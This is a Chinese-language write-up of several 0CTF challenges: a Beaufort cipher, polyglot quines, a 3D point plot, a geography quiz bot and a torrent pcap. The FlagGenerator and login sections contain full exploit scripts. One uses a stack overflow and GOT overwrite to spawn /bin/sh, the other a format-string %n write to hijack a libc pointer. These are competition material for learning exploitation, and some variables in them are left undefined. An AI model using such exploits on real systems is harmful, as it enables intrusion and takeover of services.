没怎么做alictf,做了0ctf。渣渣又被虐了……分享下writeup……

oldcrypto

Old crypto is not old enough to be broken. Notice: all in lowercase

阅读这个是一个多表替换的密码,i两边是对称的,所以可以把i的变化去掉。这个有点类似维吉尼亚,不过代换是通过矩阵,而且是对称的。wiki下应该是 博福特密码。 解法跟维吉尼亚密码一样,wiki说有卡西斯基试验或者弗里德曼试验,重复指数的代码找不到了就用的卡西斯基试验的方法

1
2
3
4
5
6
7
8
9
10
def search():
i = 0
with open('deletei') as f:
cipher = f.read().strip()
while i < len(cipher):
now = cipher[i:i+3]
find = cipher[i+3:].find(cipher[i:i+3])
if find != -1:
print cipher[i:i+3], find+3
i += 1

找出来发现很多很长的密文有重复且间隔都是20的倍数。所以猜测key是20位。 之后拆分成20组频率分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def findk(src, des):
for k in xrange(26):
if tr[k][ord(des)-ord('a')] == ord(src)-ord('a'):
return chr(k + ord('a'))
def key():
k = ''
with open('split2') as f:
for line in f:
fre = {}
line = line.strip()
for c in line:
if c in fre:
fre[c] += 1
else:
fre[c] = 1
sort_fre = sorted(fre.iteritems(),key=lambda fre:fre[1],reverse=True)
k += findk('e', sort_fre[0][0])
print k

都猜测出现最高的频率的是’e’,之后算出来的key = ‘wkaszhcslciyhwrusfun’。解出来发现不对,不过感觉但是最后fun应该是对的。之后通过查看解密的文章通过手工判断(文章最后是flag,而且用了20个o方便判断)解出key = ‘classicalcipherisfun’ flag:0ctf{classicalcipherisfun}

BabyPolyQuine

Different people see different me. But I am always myself. 202.112.26.114:12321 Make the output of your program exactly the same as your source code. At least 3 correct to get this flag $python2 –version Python 2.7.6 $python3 –version Python 3.4.0 $gcc –version gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2 $ruby –version ruby 1.9.3p484 (2013-11-22 revision 43786) [x86_64-linux] $perl –version This is perl 5, version 18, subversion 2 (v5.18.2) built for x86_64-linux-gnu-thread-multi

维基百科搜到一个代码通过

1
2
3
4
5
6
7
8
9
10
#include/*
q='''*/
main(){char*_;/*=;sub _:lvalue{$_}<<q;#';<<q#'''
def printf(a,*b):print a%b,
q
#*/
_=" #include/*%cq='''*/%cmain(){char*_;/*=;sub _:lvalue{%c_}<<q;#';<<q#'''%cdef printf(a,*b):print a%%b,%cq%c#*/%c_=%c%s%c;printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);%c#/*%cq='''*/%c}//'''#=%c";printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);
#/*
q='''*/
}//'''#=

flag:0ctf{The very moment of raising beginner’s mind is the accomplishment of true awakening itself}

PolyQuine

BabyPolyQuine 满足 All 5 correct required to get this flag

上面的代码在python3会出问题,尝试加上括号,不过python3会多打一个空行。所以想办法利用不打空行的打印函数,想到stdout.write()于是

1
2
3
4
5
6
7
8
9
10
#include/*
q='''*/
main(){char*_;/*=;sub _:lvalue{$_}<<q;#';<<q#'''
def printf(a,*b):__import__('sys').stdout.write(a%b)
q
#*/
_=" #include/*%cq='''*/%cmain(){char*_;/*=;sub _:lvalue{%c_}<<q;#';<<q#'''%cdef printf(a,*b):__import__('sys').stdout.write(a%%b)%cq%c#*/%c_=%c%s%c;printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);%c#/*%cq='''*/%c}//'''#=%c";printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);
#/*
q='''*/
}//'''#=

flag:0ctf{“Yields falsehood when preceded by its quotation” yields falsehood when preceded by its quotation}

x-y-z

-4.751373,-2.622809,2.428588;-4.435134,-3.046589,2.406030;-4.788052,-2.661979,2.464709 -4.692748,-2.599611,2.629112;-4.656070,-2.560445,2.592991;-4.788052,-2.661979,2.464709 -4.692748,-2.599611,2.629112;-4.788052,-2.661979,2.464709;-4.435134,-3.046589,2.406030 -4.656070,-2.560445,2.592991;-4.516017,-2.714652,2.570303;-4.751373,-2.622809,2.428588 -4.656070,-2.560445,2.592991;-4.751373,-2.622809,2.428588;-4.788052,-2.661979,2.464709 -4.611258,-2.777269,2.405960;-4.435134,-3.046589,2.406030;-4.751373,-2.622809,2.428588 -4.572725,-2.644557,2.333280;-4.603014,-2.680354,2.364417;-4.592222,-2.663824,2.351891 -4.571442,-2.773632,2.381504;-4.564917,-2.826000,2.397583;-4.611258,-2.777269,2.405960 ……

感觉应该是坐标点,加上题目x-y-z。猜测把点全部描出来会不会看到立体的flag。。。于是matlab画散点图(电脑不好真惨,把点去掉一部分画还是卡)

1
2
3
4
5
A=[
......
];
x=A(:,1);y=A(:,2);z=A(:,3);
scatter3(x,y,z,'.')

慢慢的旋转猜出flag

geo newbie

我的地理知识涨了不少

Talentyange gives lots of tedious apks and you know how bad he is now. Let’s try some interesting geography knowledge. nc 202.112.26.111 29995 / nc 202.112.28.118 29995

上去以后问你xxx是哪里的,用国家2字母简称表达。 前20轮给国家,21-70给地名,70-75问你河流或者山脉经过的国家。。。 前70用google map的geocoding api 后70轮用google+维基百科手动输入+自动缓存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from zio import *
import re
import requests
import json
correct = {
'Palestine, State of' : 'PS',
'Norfolk Island':'NF',
'Alexandria':'EG',
'Antarctica':'AQ',
'Micronesia':'FM',
'Naples':'IT',
'Mount Olympus':'GR',
'Hyde Park':'GB',
'Georgia':'GE',
'Micronesia (Federated States of)':'FM',
'Korea (Republic of)':'KR',
'Holy See':'VA',
'Tanzania, United Republic of':'TZ',
'Macedonia (the former Yugoslav Republic of)':'MK',
'Volga':'RU',
'Lego':'DK',
'Virgin Islands (British)':'VG',
'Rickshaw capital of the world':'BD',
'Melbourne':'AU',
'Vancouver':'CA',
'Korea (Democratic People's Republic of)':'KP',
'Jiuzhaigou Valley':'CN',
'Georgia':'GE',
}
target = (('202.112.28.118',29995))
def geo(query):
url = 'http://maps.googleapis.com/maps/api/geocode/json?address=%s&sensor=true_or_false' % query
r = requests.get(url)
result = json.loads(r.text)
# print result
for com in result['results'][0]['address_components']:
if "country" in com['types']:
return com['short_name']
io = zio(target, timeout=100000,
print_read=COLORED(REPR,'red'),
print_write=COLORED(REPR,'green')
)
# level 1
for i in range(70):
buf = io.read_until(':')
country_name = re.findall(r'n(.+)?:', buf)[0]
# print country_name
# country = pycountry.countries.get(name=country_name)
# io.writeline(country_ascii2_dict[country_name])
if country_name in correct:
io.writeline(correct[country_name])
else:
io.writeline(geo(country_name))
# load
level2 = {}
with open('level2') as f:
level2 = json.loads(f.read())
buf = io.read_until(':')
# level 2
try:
for i in range(30):
question = re.findall(r'n(.+)?:', buf)[0]
if question in level2:
ans = level2[question]
else:
ans = raw_input()
ans = ans.strip().split(',')
for c in ans:
if c in correct:
io.writeline(correct[c])
else:
io.writeline(geo(c))
buf = io.read_until(':')
level2[question] = ans
except Exception, e:
with open('level2','w') as f:
f.write(json.dumps(level2))
print e
exit()
with open('level2','w') as f:
f.write(json.dumps(level2))
io.interact()

flag:0CTF{eNj0y_geography_l0v3_7hE_w0lRd}

peers

peers :P 一个pcap文件

打开发现是bt传输文件的流量。搜索下发现与Plaid CTF 2012 – Torrent类似。 不过有个坑,就是用到80端口,wireshark把它认成了HTTP请求,影响了服务解析。只要把enable service里HTTP给去掉就好了。

PS. 朋友圈看到有人把那个分片的传输数据剪出来拼起来了。给各位大神跪了。。。 peerliang

FlagGenerator

Can you generate the correct flag? flagen libc.so.6 202.112.26.106:5149 202.112.28.115:5149 Notice: Ubuntu 14.04.2 LTS

漏洞发现

RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH flagen

这个是个花式flag生成器。问题出再fun4,把字符转成数字例如把’a’转成’4’,就比如yufan变成yuf4n(其实是用户名已注册…)。其中把h变化为’1-1’。一个字符变3个字符就栈溢出了。。。

漏洞利用

利用那个扩展在输入里填一些hhh就能造成溢出。就是有个canary。

strcpy(dest, &src);
return *MK_FP(__GS__, 20) ^ v18;

注意在之后有一个从栈里src考数据到分配的对指针dest的调用。dest是函数传进来的,栈溢出的时候可以改到。 利用步骤

  1. 利用那个strcpy将GOT中check_stack_fail函数地址改掉绕过stack smash check,顺带将system地址覆盖GOT中atoi。(简单粗暴地爆破system地址)
  2. 栈溢出将eip控制到sub_804873E,直接利用atoi调用system(‘/bin/sh’)获得shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from zio import *
import struct
checkfail_got = 0x0804B01C
brute_system = 0xf75de190
# target = ('./flagen')
target = (('202.112.28.115', 5149))
copyto = ''
copyto += l32(brute_system)*10
p = ''
p += l32(ret)
p += copyto
p += 'a'*(48 -len(copyto)-4)
p += 'h' * 40 + 'a'*100
p += l32(checkfail_got + 4) #ebp
p += l32(0x804873E) # eip
p += l32(checkfail_got) # dest
cnt = 0
while True:
print cnt
cnt += 1
io = zio(target, timeout=100000,
print_read=COLORED(REPR,'red'),
print_write=COLORED(REPR,'green')
)
io.writeline('1')
io.writeline(p)
# io.gdb_hint()
io.writeline('4')
io.writeline('/bin/sh')
io.interact()

flag:0ctf{delicious_stack_cookie_generates_flag}

login

Login as guest. Logout as root. libc.so.6 202.112.26.107:10910 202.112.28.116:10910

>

Notice: Ubuntu 14.04.2 LTS The process is protected by a sandbox. So you may not get a shell. The only thing you can do is reading the “flag”. If you want to break the sandbox, turn to task “0ops APP”.

漏洞发现

RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH login

利用guest,guest123登陆。用户名用一个全局buffer存储,最后一位有个标志为初始设置成0。 之后可以通过fun2修改用户,而且可以修改到标志位。 然后可以用fun4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void __noreturn fun4_sub_103B()
{
__int64 v0; // rax@1
__int64 strpt; // rsi@1
__int64 v2; // rax@4
__int64 v3; // rsi@4
char v4; // [sp+0h] [bp-220h]@1
char czUser; // [sp+10h] [bp-210h]@1
char czPassword; // [sp+110h] [bp-110h]@1
__int64 v7; // [sp+218h] [bp-8h]@1
v7 = *MK_FP(__FS__, 40LL);
printf("Login: ");
safe_read_sub_CB5((__int64)&czUser, 256);
printf("Password: ", 256LL);
safe_read_sub_CB5((__int64)&czPassword, 256);
v0 = strlen(&czPassword);
MD5((__int64)&czPassword, v0, (__int64)&v4);
strpt = (__int64)"root";
if ( !strcmp(&czUser, "root") )
{
strpt = (__int64)"0ops{secret_MD5}";
if ( !memcmp(&v4, "0ops{secret_MD5}", 16uLL) )
showflag_sub_FB3();
}
printf(&czUser, strpt); // formatstring attack
puts(" login failed.");
puts("1 chance remaining.");
printf("Login: ");
safe_read_sub_CB5((__int64)&czUser, 256);
printf("Password: ", 256LL);
safe_read_sub_CB5((__int64)&czPassword, 256);
v2 = strlen(&czPassword);
MD5((__int64)&czPassword, v2, (__int64)&v4);
v3 = (__int64)"root";
if ( !strcmp(&czUser, "root") )
{
v3 = (__int64)"0ops{secret_MD5}";
if ( !memcmp(&v4, "0ops{secret_MD5}", 0x10uLL) )
showflag_sub_FB3();
}
printf(&czUser, v3);
puts(" login failed.");
puts("Threat detected. System shutdown.");
exit(1);
}

存在格式化字符串攻击

漏洞利用

程序可以调用两次format string之后就调用exit(1)退出了。并且Full RELRO,所以可能的方法就是修改到libc加载的函数指针。提供方便的是程序里有打印flag的函数。 首先,通过调试发现寄存器里存在地址相关的信息,可以通过%016lx打印出来,栈相关的地址信息也有。程序加载的基址可以得到。栈里buffer的内容可以自己控制。通过读GOT表也能算出libc加载的基址和相对偏移。 要先写个程序把libc的相对偏移算出来。

这边做的时候SB了看有提示ubuntu 14.04.2正好系统一样,就通过程序加载的地址直接算libc的基址,可能服务器有沙箱加载地址有变化结果本地可以远程一直不行……

之后使用printf就通过%n修改libc的函数指针,之后就等flag了……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from zio import *
import struct
dist_text_libcbasew = 0x13acd000 - 0x3be000
# target = ('./login')
target = (('202.112.26.107',10910))
io = zio(target, timeout=100000,
print_read=COLORED(REPR,'red'),
print_write=COLORED(REPR,'green')
)
io.writeline('guest')
io.writeline('guest123')
io.read_until('Your choice:')
io.writeline('2')
io.writeline('a'*256)
io.read_until('Your choice:')
io.writeline('4')
io.writeline('%016lx%016lx%016lx')
io.read_until('Password: ')
io.gdb_hint()
io.writeline('1234')
baddr = io.read(16*3)
textbase = int(baddr[:16],16)
textbase = textbase-0x1490
retaddr = textbase - dist_text_libcbasew + 0x38
# gen p
sum = 0
p = ""
for i in range(8):
t = (fun >> i*8) & 0xff
t = 0x100 * i + t - sum
sum += t
p += '%0'
p += str(t)
p += 'x'
p += '%'
p += '%d' % (40 + i)
p += '$n'
p2 = ''
for i in range(8):
p2 += l64(retaddr+i)
io.writeline(p)
io.read_until('Password: ')
io.writeline(p2)
io.read_until('0ctf')
io.interact()

flag:0ctf{login_success_and_welcome_back}